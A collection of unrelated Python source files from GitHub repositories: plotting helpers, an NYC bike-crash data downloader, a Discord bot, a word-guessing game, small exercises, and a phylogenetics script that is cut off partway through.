+{"seq_id":"23148763159","text":"import matplotlib.pyplot as plt\nfrom torchvision.transforms import transforms\nimport numpy as np\nimport torch\nimport os\nfrom forward_process import *\nfrom dataset import *\nfrom sample import *\n\n\ndef visualalize_distance(output, condition, target):\n plt.figure(figsize=(11,11))\n plt.subplot(1, 3, 1).axis('off')\n plt.subplot(1, 3, 2).axis('off')\n plt.subplot(1, 3, 3).axis('off')\n\n plt.subplot(1, 3, 1)\n plt.imshow(show_tensor_image(output))\n plt.title('input image')\n \n\n plt.subplot(1, 3, 2)\n plt.imshow(show_tensor_image(condition))\n plt.title('condition image')\n\n plt.subplot(1, 3, 3)\n plt.imshow(show_tensor_image(target))\n plt.title('generated image')\n\n\n k = 0\n while os.path.exists('results/heatmap{}.png'.format(k)):\n k += 1\n plt.savefig('results/heatmap{}.png'.format(k))\n plt.close()\n\n\ndef visualize_reconstructed(input, data,s):\n fig, axs = plt.subplots(int(len(data)/5),6)\n row = 0\n col = 1\n axs[0,0].imshow(show_tensor_image(input))\n axs[0, 0].get_xaxis().set_visible(False)\n axs[0, 0].get_yaxis().set_visible(False)\n axs[0,0].set_title('input')\n for i, img in enumerate(data):\n axs[row, col].imshow(show_tensor_image(img))\n axs[row, col].get_xaxis().set_visible(False)\n axs[row, col].get_yaxis().set_visible(False)\n axs[row, col].set_title(str(i))\n col += 1\n if col == 6:\n row += 1\n col = 0\n col = 6\n row = int(len(data)/5)\n remain = col * row - len(data) -1\n for j in range(remain):\n col -= 1\n axs[row-1, col].remove()\n axs[row-1, col].get_xaxis().set_visible(False)\n axs[row-1, col].get_yaxis().set_visible(False)\n \n \n \n plt.subplots_adjust(left=0.1,\n bottom=0.1,\n right=0.9,\n top=0.9,\n wspace=0.4,\n hspace=0.4)\n k = 0\n\n while os.path.exists(f'results/reconstructed{k}{s}.png'):\n k += 1\n plt.savefig(f'results/reconstructed{k}{s}.png')\n plt.close()\n\n\n\ndef visualize(image, noisy_image, GT, pred_mask, anomaly_map, category) :\n for idx, img in enumerate(image):\n plt.figure(figsize=(11,11))\n plt.subplot(1, 2, 1).axis('off')\n plt.subplot(1, 2, 2).axis('off')\n plt.subplot(1, 2, 1)\n plt.imshow(show_tensor_image(image[idx]))\n plt.title('clear image')\n\n plt.subplot(1, 2, 2)\n\n plt.imshow(show_tensor_image(noisy_image[idx]))\n plt.title('reconstructed image')\n plt.savefig('results/{}sample{}.png'.format(category,idx))\n plt.close()\n\n plt.figure(figsize=(11,11))\n plt.subplot(1, 3, 1).axis('off')\n plt.subplot(1, 3, 2).axis('off')\n plt.subplot(1, 3, 3).axis('off')\n\n plt.subplot(1, 3, 1)\n plt.imshow(show_tensor_mask(GT[idx]))\n plt.title('ground truth')\n\n plt.subplot(1, 3, 2)\n plt.imshow(show_tensor_mask(pred_mask[idx]))\n plt.title('normal' if torch.max(pred_mask[idx]) == 0 else 'abnormal', color=\"g\" if torch.max(pred_mask[idx]) == 0 else \"r\")\n\n plt.subplot(1, 3, 3)\n plt.imshow(show_tensor_image(anomaly_map[idx]))\n plt.title('heat map')\n plt.savefig('results/{}sample{}heatmap.png'.format(category,idx))\n plt.close()\n\n\n\ndef show_tensor_image(image):\n reverse_transforms = transforms.Compose([\n transforms.Lambda(lambda t: (t + 1) / (2)),\n transforms.Lambda(lambda t: t.permute(1, 2, 0)), # CHW to HWC\n transforms.Lambda(lambda t: t * 255.),\n transforms.Lambda(lambda t: t.cpu().numpy().astype(np.uint8)),\n ])\n\n # Takes the first image of batch\n if len(image.shape) == 4:\n image = image[0, :, :, :] \n return reverse_transforms(image)\n\ndef show_tensor_mask(image):\n reverse_transforms = transforms.Compose([\n transforms.Lambda(lambda t: t.permute(1, 2, 0)), # CHW to HWC\n transforms.Lambda(lambda t: t.cpu().numpy().astype(np.int8)),\n ])\n\n # Takes the first image of batch\n if len(image.shape) == 4:\n image = image[0, :, :, :] \n return reverse_transforms(image)\n \n\n","repo_name":"arimousa/DDAD","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"39451553720","text":"#!/usr/bin/env python3\ndef retrieve_nyc_crashes_soda(token=None, query=None, output_file=None):\n\n \"\"\"Retrieve NYC motor vehicle crash data from NYC Open Data using the\n sodapy, the python client for the Socrata Open Data API. Returns\n data in a pandas dataframe.\n\n The default SoSQL query (https://dev.socrata.com/docs/queries/)\n is:\n\n select *\n where\n VEHICLE_TYPE_CODE1 = 'Bike' OR VEHICLE_TYPE_CODE1 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE2 = 'Bike' OR VEHICLE_TYPE_CODE2 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_3 = 'Bike' OR VEHICLE_TYPE_CODE_3 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_4 = 'Bike' OR VEHICLE_TYPE_CODE_4 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_5 = 'Bike' OR VEHICLE_TYPE_CODE_5 = 'BICYCLE'\n OR\n NUMBER_OF_CYCLIST_INJURED > 0 OR NUMBER_OF_CYCLIST_KILLED > 0\n limit 1000000\n\n Note we have to specify a very high limit because the query\n defaults to 1000 records.\n\n \"\"\"\n\n import os\n import pandas as pd\n from sodapy import Socrata\n\n\n # set up the Socrata client\n # use custom token to remove throttling):\n client = Socrata(\"data.cityofnewyork.us\", token)\n\n\n # If a custom SoSQL query is not specified, set one up to retrieve\n # records containing bike crashes. Note we have to specify a very\n # high limit because the query defaults to 1000 records\n\n if query is None:\n print(\"Using default query bicycle crash parameters\")\n query = \"\"\"\n select *\n where\n VEHICLE_TYPE_CODE1 = 'Bike' OR VEHICLE_TYPE_CODE1 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE2 = 'Bike' OR VEHICLE_TYPE_CODE2 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_3 = 'Bike' OR VEHICLE_TYPE_CODE_3 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_4 = 'Bike' OR VEHICLE_TYPE_CODE_4 = 'BICYCLE'\n OR\n VEHICLE_TYPE_CODE_5 = 'Bike' OR VEHICLE_TYPE_CODE_5 = 'BICYCLE'\n OR\n NUMBER_OF_CYCLIST_INJURED > 0 OR NUMBER_OF_CYCLIST_KILLED > 0\n limit 1000000\n \"\"\"\n\n\n # results returned as JSON from API / converted to Python list of\n # dictionaries by sodapy.\n results = client.get(\"h9gi-nx95\", query=query)\n\n\n # results is a list of dictionaries. each dictionary is a crash\n # Convert to pandas DataFrame\n df = pd.DataFrame.from_records(results)\n\n print(f\"Retrieved {df.shape[0]} crashes involving bicycles\")\n\n\n # sodapy goofs up a few column names\n df.rename(columns={\"vehicle_type_code1\": \"vehicle_type_code_1\",\n \"vehicle_type_code2\": \"vehicle_type_code_2\"},inplace=True)\n\n\n # remove underscores from column names\n df.columns = df.columns.str.replace('_', ' ')\n\n\n if output_file is not None:\n df.to_csv(path_or_buf = output_file, index=False)\n print(f\"Wrote file: {os.getcwd()}/{output_file}\")\n\n\n return df\n\n\n\nif __name__ == \"__main__\":\n\n import argparse\n\n my_parser = argparse.ArgumentParser(description=\"Download NPYD motor vehicle crash data\")\n\n my_parser.add_argument(\"--token\", type=str, help=\"User's token\")\n my_parser.add_argument(\"output\", type=str, help=\"Data output file name\")\n my_parser.add_argument(\"--query\", type=str, help=\"SoSQL query string\")\n\n args = my_parser.parse_args()\n\n my_token = args.token\n my_query = args.query\n outfile = args.output\n\n retrieve_nyc_crashes_soda(token=my_token, query=my_query, output_file=outfile)\n","repo_name":"mhalvers/nyc_bike_crash_analysis","sub_path":"retrieve_nyc_crashes_soda.py","file_name":"retrieve_nyc_crashes_soda.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42609761673","text":"# -*- coding: utf-8 -*-\n\nimport asyncio\nimport logging\nimport pathlib\nimport sys\n\nfrom discord.ext import commands, tasks\n\nimport config\n\nLOG = logging.getLogger(\"bot\")\n\nstream = logging.StreamHandler(sys.stdout)\nstream.setFormatter(\n logging.Formatter(\n \"{asctime} | {levelname: <8} | {module}:{funcName}:{lineno} - {message}\", datefmt=\"%Y-%m-%d %H:%M:%S\", style=\"{\"\n )\n)\nLOG.setLevel(logging.DEBUG)\nLOG.addHandler(stream)\n\n\nclass TiledBot(commands.Bot):\n def __init__(self, **kwargs):\n super().__init__(command_prefix=commands.when_mentioned_or(\"tile \"), **kwargs)\n\n self.load_initial_cogs.start()\n\n @tasks.loop(count=1)\n async def load_initial_cogs(self):\n await self.wait_until_ready()\n\n for path in pathlib.Path(\"cogs\").glob(\"[!_]*.py\"):\n ext = f\"{path.parent}.{path.stem}\"\n\n try:\n self.load_extension(ext)\n except commands.ExtensionError:\n LOG.exception(\"Failed to load %s\", ext)\n else:\n LOG.info(\"Successfully loaded %s\", ext)\n\n async def on_ready(self):\n LOG.info(\"Bot ready\")\n\n\nif __name__ == \"__main__\":\n bot = TiledBot()\n\n loop = bot.loop\n\n try:\n loop.run_until_complete(bot.start(config.token))\n except KeyboardInterrupt:\n pass\n finally:\n LOG.info(\"Shutting down\")\n\n loop.run_until_complete(bot.close())\n\n to_cancel = list(filter(lambda x: not x.done(), set(asyncio.all_tasks(loop=loop))))\n\n LOG.info(\"Cleaning up %d task(s)\", len(to_cancel))\n LOG.debug(to_cancel)\n\n for task in to_cancel:\n task.cancel()\n\n loop.run_until_complete(\n asyncio.gather(\n *filter(lambda x: x._coro.__name__ != \"close_connection\", to_cancel), loop=loop, return_exceptions=True\n )\n )\n\n loop.run_until_complete(loop.shutdown_asyncgens())\n\n loop.stop()\n loop.close()\n\n LOG.info(\"Bot closed\")\n","repo_name":"PendragonLore/Tiled","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72482824680","text":"# -*- python -*-\nimport dataclasses\nimport logging\nimport pathlib\n\nimport appdirs\nimport jinja2\nimport monacelli_pylog_prefs.logger\nimport pkg_resources\n\nappname = \"watchmanwrapper\"\nappauthor = \"taylormonacelli\"\n\npackage = __name__.split(\".\")[0]\nTEMPLATES_PATH = pathlib.Path(pkg_resources.resource_filename(package, \"templates/\"))\n\n\n@dataclasses.dataclass\nclass Config:\n dir: str = appdirs.user_config_dir(appname, appauthor)\n path: pathlib.Path = None\n config: str = None\n\n def __post_init__(self):\n self.path = pathlib.Path(self.dir) / \"manifest.yml\"\n template_loader = jinja2.FileSystemLoader(searchpath=TEMPLATES_PATH)\n template_env = jinja2.Environment(loader=template_loader)\n TEMPLATE_FILE = \"manifest.yaml.j2\"\n template = template_env.get_template(TEMPLATE_FILE)\n outputText = template.render()\n self.config = outputText\n\n def write(self):\n pathlib.Path.mkdir(self.path.parent, parents=True, exist_ok=True)\n logging.warning(f\"creating file {self.path}\")\n self.path.write_text(self.config)\n\n\ndef main():\n monacelli_pylog_prefs.logger.setup(\n filename=f\"{pathlib.Path(__file__).stem}.log\", stream_level=logging.DEBUG\n )\n config = Config()\n if not config.path.exists():\n config.write()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"taylormonacelli/python-watchmanwrapper","sub_path":"src/watchmanwrapper/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11618285122","text":"import os\nimport pkgutil\n\n\ndef read_file(path, verbose=False):\n \"\"\"\n Read data from a file and return its contents in a string.\n :param path: str, path to file's location\n :param verbose: bool, whether to print error message\n :return: str, file's content or empty string if file not found.\n \"\"\"\n try:\n with open(path, 'r') as file:\n return file.read()\n except FileNotFoundError:\n if verbose:\n print('INCORRECT FILE PATH:', path)\n return ''\n\n\ndef write_file(data, path, append=False):\n \"\"\"\n Write information provided into file. overwrites all existing data and creates new file if necessary.\n :param data: str, information to write to file\n :param path: path to data's destination\n :param append: bool, whether to append or overwrite file\n :return: None\n \"\"\"\n mode = 'w'\n if append:\n mode = 'a'\n\n with open(path, mode) as file:\n file.write(data)\n\n\ndef copy_file(source_path, dest_path):\n \"\"\"\n Copies the content of a source file to either another arbitrary file path or to an index in the buffer.\n :param source_path: str, path to the source file\n :param dest_path: str, path to files destination\n :return: bool, success or failure\n \"\"\"\n data = read_file(source_path)\n if data:\n write_file(data, dest_path)\n return True\n\n return False\n\n\ndef get_dir_length(path):\n \"\"\"\n Gets number of files in buffer.\n :return: int, number of files in buffer directory\n \"\"\"\n return len([0 for name in os.listdir(path) if os.path.isfile(name)])\n\n\ndef get_importable_modules():\n \"\"\"\n get a list of all importable modules in current venv.\n :return: list, list of strs, each of which is the name of an importable module\n \"\"\"\n modules = []\n for pkg in pkgutil.iter_modules():\n modules.append(pkg.name)\n\n return modules\n","repo_name":"jhanreg11/monty","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24710686","text":"\"\"\"\nhttps://quera.org/problemset/35254/\nAuthor: https://github.com/smh997/\n\"\"\"\nimport math\nn = int(input())\nst = input()\ns, t = map(int, input().split())\nh = max(s, t)\nl = min(s, t)\nres = 0\nss = 0\nfor i in range(l - 1, h):\n if st[i] == 'H':\n ss += 1\n elif ss == 0:\n continue\n elif math.log2(ss) == float(math.floor(math.log2(ss))):\n res += 1\n ss = 0\n else:\n while ss:\n ss -= 2 ** (math.floor(math.log2(ss)))\n res += 1\nprint(res)","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Quera/پاکسازی.py","file_name":"پاکسازی.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"3934614928","text":"from rich.console import Console \nfrom rich.padding import Padding\nfrom rich.theme import Theme\nfrom classes.style import Style\nimport re\n\ncli_theme = Theme({\n \"header\": \"bold black on white\",\n \"correct_letter\": \"bold white frame on green\",\n \"misplaced_letter\": \"bold white frame on yellow\",\n \"wrong_letter\": \"dim frame\",\n \"error\": \"bold white on red\"\n})\nrich_style = Style.__rich_console__\n\nconsole = Console(theme=cli_theme)\n\nEXIT_WORDS = [\"6\", \"exit\", \"quit\"]\n\ndef welcome():\n welcome = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Welcome to Letter Lasso!­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(welcome, justify=\"center\")\n\ndef menu():\n console.print(\"Choose an option: \", style=\"header\")\n print(\"1) Create new player\")\n print(\"2) Play game\")\n print(\"3) Create new puzzle\")\n print(\"4) View leaderboard\")\n print(\"5) View game rules\")\n print(\"6) Quit\")\n \ndef check_input_for_exit(input):\n check = input.lower()\n if check in EXIT_WORDS:\n exit_cli()\n\ndef register_or_find_player():\n username = input(\"Enter your username: \").strip()\n check_input_for_exit(username)\n user = Player.find_by_username(username)\n \n if (user is None \n and re.match(r\"^[A-z0-9]+$\", username)\n and 1 <= len(username) <= 8):\n new_player = Player.create(username)\n console.print(f\"Hi there, {new_player.username}!\", style=\"header\")\n select_puzzle(new_player)\n elif not re.match(r\"^[A-z0-9]+$\", username) or len(username) < 1 or len(username) > 8:\n console.print(f\"[bold white frame on red] Usernames must be between 1 and 8 characters and cannot contain special characters(@_!$^...) [/]\")\n console.print(f\"[bold white frame on red] Please try again [/]\")\n register_or_find_player()\n else:\n console.print(f\"Welcome back, {username}!\", style=\"header\")\n select_puzzle(user)\n\ndef select_puzzle(current_player):\n unplayed_puzzles = list(set(Puzzle.get_all()) - set(current_player.puzzles()))\n\n console.print(\"Which puzzle would you like to play?\", style=\"header\")\n for puzzle in unplayed_puzzles:\n print(f\"Puzzle {puzzle.id}\")\n\n selected_puzzle_id = input(\"Enter puzzle number: \") \n if re.match(r\"^[0-9]$\", selected_puzzle_id):\n selected_puzzle = Puzzle.find_by_id(int(selected_puzzle_id))\n\n if selected_puzzle in unplayed_puzzles:\n play_game(current_player, selected_puzzle, 1, [])\n elif selected_puzzle:\n console.print(\"You already played that one!\", style=\"header\")\n select_puzzle(current_player)\n else: \n console.print(\"Not a valid puzzle number\", style=\"header\")\n select_puzzle(current_player)\n else: \n console.print(\"Not a valid puzzle number\", style=\"header\")\n select_puzzle(current_player)\n\ndef view_leaderboard():\n \n console.print(\"Which leaderboard would you like to see?\", style=\"header\")\n for puzzle in Puzzle.get_all():\n print(f\"Puzzle {puzzle.id}\")\n \n selected_puzzle_id = input(\"Enter puzzle number: \")\n if re.match(r\"^[0-9]$\", selected_puzzle_id):\n selected_puzzle = Puzzle.find_by_id(int(selected_puzzle_id))\n \n if selected_puzzle:\n title = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Letter Lasso Leaderboard­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(title, justify=\"center\")\n\n selected_puzzle.high_scores()\n else:\n console.print(\"No puzzle with that number\", style=\"header\")\n view_leaderboard()\n else:\n console.print(\"Not a valid input\", style=\"header\")\n view_leaderboard()\n\ndef game_rules():\n rules_header = Padding(\"­Ъљј ­Ъца ­Ъљј ­Ъца Laws of Letter Lasso ­Ъца ­Ъљј ­Ъца ­Ъљј\", (1, 1), style=\"header\")\n console.print(rules_header, justify=\"center\")\n print(\"\"\"\n ~ Guess a 5 letter word for each turn\n ~ Letters highlighted in yellow are correct, but misplaced\n ~ Letters highlighted in green are correct and in the right place\n ~ You have 6 chances to guess the correct word!\n \"\"\")\n \ndef create_puzzle():\n solution = input(\"Your puzzle solution, a 5-letter word: \")\n solution = solution.strip()\n check_input_for_exit(solution)\n\n if (re.match(r\"^[A-z]{5}$\", solution)\n and not Puzzle.find_by_solution(solution)):\n Puzzle.create(solution.lower())\n console.print(f\"Puzzle created for {solution}\", style=\"header\")\n else: \n console.print(\"Solution must be a 5-letter word and unique among puzzles\", style=\"header\")\n create_puzzle()\n\ndef play_game(player, puzzle, start = 1, prev_guesses = []):\n guesses = prev_guesses\n console.print(f\"[bold white frame on yellow] When a letter turns yellow it means that letter is in the solution word, but it is not in the correct spot [/]\")\n console.print(f\"[bold white frame on green] When a letter turns green it means that letter is in the solution word, and it is in the correct place [/]\")\n console.print('You can type exit at any time to leave the CLI')\n for guess_num in range(start, 7):\n new_guess = input(\"Enter your guess: \")\n new_guess = new_guess.strip()\n check_input_for_exit(new_guess)\n\n if re.match(r\"^[A-z]{5}$\", new_guess):\n guesses.append(new_guess)\n handle_guess(guesses, puzzle.solution)\n if new_guess.lower() == puzzle.solution:\n console.print(f\"[bold white on magenta] You guessed it! The word was {puzzle.solution} [/]\")\n score = 350 - (50 * guess_num)\n new_result = Result.create(player.id, puzzle.id, score, guess_num)\n console.print(f\"[bold white] Here are your results: {new_result} [/]\")\n break\n else: \n console.print(f\"[bold white on red] Each guess must be a 5-letter string. Please try again. [/]\")\n play_game(player, puzzle, guess_num, guesses)\n\n else: \n new_result = Result.create(player.id, puzzle.id, 0, guess_num)\n console.print(f\"[bold white on red] Game over! The word was {puzzle.solution} [/]\")\n\ndef handle_guess(guesses, word):\n for guess in guesses: \n styled_guess = []\n for letter, correct_letter in zip(guess, word):\n if letter == correct_letter: \n style = \"correct_letter\"\n elif letter in word: \n style = \"misplaced_letter\"\n else: \n style = \"wrong_letter\"\n styled_guess.append(f\"[{style}]{letter}[/]\")\n console.print(\"\".join(styled_guess))\n\ndef exit_cli():\n console.print(\"­Ъљј ­Ъца ­Ъљј ­Ъца Ya'll come back, ya hear!­Ъца ­Ъљј ­Ъца ­Ъљј\", style=\"header\")\n exit()\n\ndef invalid_input():\n console.print(\"That input is not valid. Type a number to select an option.\", style=\"header\")\n\nfrom classes.puzzle import Puzzle\nfrom classes.player import Player\nfrom classes.result import Result","repo_name":"jesscsommer/python-word-game","sub_path":"lib/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10599547322","text":"#Funciónes\ndef separador():\n print(\"--------------------------------------------------------------------------------------------------------\")\nclass Coche():\n #Metodo iniciador\n def __init__(self,color,marca,modelo,combustible,puertas,motor,ruedas,ventanas,puerta):\n self.color=color\n self.marca=marca\n self.modelo=modelo\n self.combustible=combustible\n self.puertas=puertas\n self.motor=motor\n self.ruedas=ruedas\n self.ventanas=ventanas\n self.puerta=puerta\n separador()\n print(\"El carro es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,motor,ruedas,ventanas,))\n print(\"sus puertas estan\")\n print(puerta)\n separador()\n#Clase\nclass Motor():\n #Metodos\n def encendido_apagado(self,opc1):\n if opc1 == \"encender\":\n motor=\"encendido\"\n return motor\n if opc1 == \"apagar\":\n motor=\"apagado\"\n return motor \n#Clase\nclass Ruedas(Motor):\n #Metodos \n def inflar_desinflar(self,opc2):\n if opc2 == \"inflar\":\n ruedas=\"infladas\"\n return ruedas\n if opc2 == \"desinflar\":\n ruedas=\"desinfladas\"\n return ruedas\n#Clase\nclass Ventanas(Ruedas):\n #Metodos \n def abrir_cerrar_ventanas(self,opc3):\n if opc3== \"abrir\":\n ventanas=\"abiertas\"\n return ventanas \n if opc3 == \"cerrar\":\n ventanas=\"cerradas\"\n return ventanas\n#Clase\nclass Puertas(Ventanas):\n #Metodo \n def abrir_cerrar_puertas(self,opc4):\n if opc4 == \"abrir\":\n puerta=\"\"\" __---~~~~--__ __--~~~~---__\n `\\---~~~~~~~~\\\\ //~~~~~~~~---/' \n \\/~~~~~~~~~\\|| ||/~~~~~~~~~\\/ \n `\\\\ //'\n `\\\\ //'\n || || \n ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ ______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\n return puerta\n if opc4 == \"cerrar\":\n puerta=\"\"\"\n \n ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ ______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\n return puerta\n#Bloque principal \ncolor=input(\"El color del coche es: \")\nmarca=input(\"La marca de coche es: \")\nmodelo=int(input(\"El modelo del coche es: \"))\ncombustible=input(\"Tipo de combustible del coche: \")\npuertas=int(input(\"Cuántas puertas tiene el coche: \"))\nmotor=\"apagado\"\nventanas=\"cerradas\"\nruedas=\"infladas\"\npuerta=\"\"\" ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ ______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\ncarro=Coche(color,marca,modelo,combustible,puertas,motor,ruedas,ventanas,puerta)\nopcion=0\nopc1=\"apagar\"\nopc2=\"inflar\"\nopc3=\"cerrar\"\nopc4=\"cerrar\"\nwhile opcion < 5 :\n print(\"1.Prender o apagar el motor\")\n print(\"2.Inflar o desinflar ruedas\")\n print(\"3.Abrir o cerrar ventanas\")\n print(\"4.Abrir o cerrar puertas\")\n print(\"5.Salir\")\n opcion=int(input(\"Seleccione la opción que desee: \"))\n if opcion==1:\n opc1=(input(\"Digite (encender/apagar): \"))\n carro=Motor()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),ruedas,ventanas))\n print(puerta)\n separador()\n if opcion ==2:\n opc2=input(\"Digite(inflar/desinflar): \")\n carro=Ruedas()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),ventanas,))\n print(puerta)\n separador()\n if opcion == 3:\n opc3=input(\"Digite(abrir/cerrar): \")\n carro=Ventanas()\n separador()\n print(\"Él carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),carro.abrir_cerrar_ventanas(opc3),))\n print(puerta)\n separador()\n if opcion == 4:\n opc4=input(\"Digita(abrir/cerrar): \")\n carro=Puertas()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),carro.abrir_cerrar_ventanas(opc3),))\n print(carro.abrir_cerrar_puertas(opc4))\n separador()","repo_name":"chonchekill/Parcial-final","sub_path":"Python/Parcial final/Ejercicio 9.py","file_name":"Ejercicio 9.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26925318555","text":"#!/usr/bin/env python3\n\n## Import libraries\n\nimport subprocess\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport argparse\nfrom numpy import argmax\nfrom keras.models import load_model\nfrom configparser import ConfigParser\n\n\n\n# Argparse arguments\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-sequence_type', type=str, choices=[\"DNA\",\"AA\"],\n help=\"Compulsory argument. Nucleotide or Amino acids data. Enter DNA for nucleotide sequences. Enter AA for amino acid sequences.\", required=True)\nparser.add_argument('-NN_name',type=str, help=\"Compulsory argument. Enter the name of the NN folder.\", required=True)\nparser.add_argument('-alignment_file',type=str, help=\"Compulsory argument. Enter the name of the multiplealignment file.\",required=True)\n\nargs = parser.parse_args()\n\nos.environ['MKL_NUM_THREADS'] = '10'\nos.environ['GOTO_NUM_THREADS'] = '10'\nos.environ['OMP_NUM_THREADS'] = '10'\nos.environ['openmp'] = 'True'\n\ntf.config.threading.set_inter_op_parallelism_threads(10)\ntf.config.threading.set_intra_op_parallelism_threads(10)\n\nconfig = ConfigParser()\nconfig_file = \"DeepNNPhylogeny.config\"\n\ndef is_quartet_counter_available():\n try:\n subprocess.check_output(['which', 'quartet-pattern-counter-v1.1'])\n return True\n except subprocess.CalledProcessError:\n return False\n\ndef check_read_config():\n first_check = os.getcwd() + \"/\" + config_file\n home_dir = os.path.expanduser(\"~\") + \"/\" \n second_check = home_dir + config_file\n third_check = home_dir + \"DeepNNPhylogeny-main/\" + config_file \n if os.path.isfile(first_check):\n print(\"The config file: \", first_check, \" was found!\")\n config.read(first_check)\n return config\n elif os.path.isfile(second_check):\n print(\"The config file: \", second_check, \" was found!\")\n config.read(second_check)\n return config\n elif os.path.isfile(third_check):\n print(\"The config file: \", third_check, \" was found!\")\n config.read(third_check)\n return config\n else: \n print(\"Configuration file was not found!\")\n sys.exit()\n\n\ndef search_for_the_NN(conf):\n if os.path.isdir(args.NN_name):\n model = load_model(args.NN_name)\n return model\n elif (os.path.isdir(args.NN_name) == False):\n NN_name = args.NN_name.replace(\"/\", \"\")\n config_NN = conf[\"NN-Search-Path\"]\n for i in range(0,13):\n pathway_to_NN = config_NN[i]\n pathway_to_NN = pathway_to_NN + NN_name\n if os.path.isdir(pathway_to_NN):\n model = load_model(pathway_to_NN)\n break\n return model\n else: \n print(\"Neural network model was not found!\")\n sys.exit()\n \n####################################\n# my main program starts here:\n####################################\n\nstr = args.alignment_file.replace(\".fas\",\"\")\nstr = str + '_' + args.NN_name + '_' + 'substitution_model.txt'\nstr = str.replace(\"/\", \"\")\n\nalignment_file = args.alignment_file\n\nf = open(str, \"w\")\n\n# load model\n\n# Check whether the config file exists \nconfig = check_read_config()\n\n# Check whether the NN exist and load model \nmodel = search_for_the_NN(config)\n\n# Check for the quartet-pattern-counter\n\nif is_quartet_counter_available():\n print(\"quartet-pattern-counter-v1.1 is available\")\nelse:\n print(\"quartet-pattern-counter-v1.1 is not available\")\n\n\nif args.sequence_type == 'DNA':\n# quartet_pattern(\"quartet-pattern-counter-v1.1\")\n if os.path.isfile(alignment_file):\n command = 'quartet-pattern-counter-v1.1 ' + alignment_file + \" \" + os.getcwd() + \"/out.npy\"\n path = os.getcwd() + \"/out.npy\"\n subprocess.run([command], shell=True)\n frequency_array = np.load(path)\n 